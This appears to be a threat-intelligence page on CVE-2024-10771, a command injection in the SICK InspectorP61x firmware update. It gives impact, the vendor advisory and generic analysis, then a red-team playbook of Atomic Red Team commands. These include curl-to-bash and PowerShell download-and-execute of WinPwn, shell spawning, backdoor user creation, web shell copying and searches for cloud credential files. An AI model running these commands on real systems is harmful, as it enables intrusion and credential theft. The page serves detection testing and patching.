CVE-2024-10771
Overview
The vulnerability is a command injection rooted in improper input validation during the firmware update process of the SICK InspectorP61x device. Specifically, the update mechanism fails to sanitize input parameters, allowing crafted payloads to be executed within the context of the root user. This flaw resides in the firmware update component accessible over the network to authenticated users with service-level privileges.
Vulnerability Description
Due to missing input validation during one step of the firmware update process, the product is vulnerable to remote code execution. With network access and the user level ”Service”, an attacker can execute arbitrary system commands in the root user’s contexts.
Impact
An attacker with a valid 'Service' level account can execute arbitrary commands as root on the device remotely via the network. This enables full system compromise, including unauthorized access to sensitive data, manipulation of device functions, and potential lateral movement within the industrial network. The prerequisite is possession of network access and user-level credentials, which may be obtained through credential theft or social engineering. The compromise can disrupt industrial operations and expose critical infrastructure to further attacks.
Solution
SICK AG has issued an advisory (SCA-2024-0006) addressing this vulnerability in the InspectorP61x product line. Users should apply the firmware update provided in this advisory to remediate the issue. Detailed patch instructions and download links are available at https://www.sick.com/.well-known/csaf/white/2024/sca-2024-0006.pdf and https://www.sick.com/psirt. No alternative mitigations are specified; updating to the fixed firmware version is the recommended action.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability arises from inadequate input validation during a critical phase of the firmware update process. This flaw allows an attacker with network access and a user-level account designated as "Service" to execute arbitrary commands with the privileges of the root user. The absence of stringent checks on the input data during firmware updates creates a significant loophole, enabling malicious actors to manipulate the update mechanism. By exploiting this vulnerability, an attacker can gain elevated privileges and potentially take complete control over the affected system, leading to severe security breaches.
Exploitation of this vulnerability can occur through various attack vectors. An attacker might initiate a remote session to the device, leveraging the existing user-level access to initiate a firmware update. If the attacker crafts a malicious firmware file that bypasses the input validation checks, the system may accept and execute it, leading to arbitrary code execution. This scenario highlights the importance of securing the firmware update process, as it serves as a gateway for attackers to gain unauthorized access and control. Additionally, the vulnerability can be exploited in a targeted manner, where attackers could use social engineering techniques to trick users into executing malicious updates, further complicating the threat landscape.
The real-world impact of this vulnerability is considerable, particularly for organizations relying on the affected product for critical operations. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential financial losses. The ability to execute commands as a root user means that attackers could not only exfiltrate data but also manipulate system configurations, install additional malware, or disrupt operations entirely. The business risks associated with such breaches include reputational damage, legal ramifications, and compliance violations, especially if sensitive customer data is compromised. Organizations must recognize that the implications extend beyond immediate financial loss; they also encompass long-term trust and reliability issues with clients and partners.
To address this vulnerability, organizations should implement robust detection and mitigation strategies. Regular security assessments and penetration testing can help identify weaknesses in the firmware update process before they can be exploited. Additionally, employing strict input validation measures during firmware updates is essential to prevent unauthorized code execution. Organizations should also consider implementing multi-factor authentication for user accounts with elevated privileges, thereby reducing the risk of unauthorized access. Furthermore, maintaining an up-to-date inventory of all devices and their firmware versions can aid in quickly identifying and patching vulnerable systems.
In conclusion, the vulnerability stemming from inadequate input validation in the firmware update process poses a significant threat to systems and networks. The potential for remote code execution by an attacker with user-level access underscores the need for stringent security measures. Organizations must prioritize the implementation of effective detection and mitigation strategies to safeguard their systems against such vulnerabilities. By fostering a culture of security awareness and proactive risk management, businesses can better protect themselves from the evolving landscape of cyber threats.
CSURFACE threat intelligence has identified a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-10771, reflecting a near tripling of predicted exploit likelihood within a short timeframe. This surge signals growing attacker interest or increased feasibility of exploitation, despite the absence of newly reported exploit code or active campaigns in our telemetry. The rapid upward trend in EPSS places this vulnerability in the upper percentile of risk, suggesting that threat actors may be prioritizing this vector for future operations. For defenders, this shift underscores an elevated risk posture that demands heightened vigilance, as the vulnerability’s high severity combined with increased exploit probability could translate into more frequent and sophisticated attempts to leverage the firmware update flaw for remote code execution. Consequently, the threat level associated with CVE-2024-10771 should be considered more urgent, reflecting a dynamic threat landscape where exploitation is becoming increasingly plausible even without direct exploit sightings.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10771 |
| sick.com |
GitHub CVE
x_SICK PSIRT Website
|
https://sick.com/psirt |
| cdn.sick.com |
GitHub CVE
x_SICK Operating Guidelines
|
https://cdn.sick.com/media/docs/1/11/411/Special_information_CYBERSECURITY_BY_SICK_en_IM0084411.PDF |
| cisa.gov |
GitHub CVE
x_ICS-CERT recommended practices on Industrial Security
|
https://www.cisa.gov/resources-tools/resources/ics-recommended-practices |
| first.org |
GitHub CVE
x_CVSS v3.1 Calculator
|
https://www.first.org/cvss/calculator/3.1 |
| sick.com |
GitHub CVE
vendor-advisory
|
https://www.sick.com/.well-known/csaf/white/2024/sca-2024-0006.pdf |
| sick.com |
GitHub CVE
vendor-advisory
x_csaf
|
https://www.sick.com/.well-known/csaf/white/2024/sca-2024-0006.json |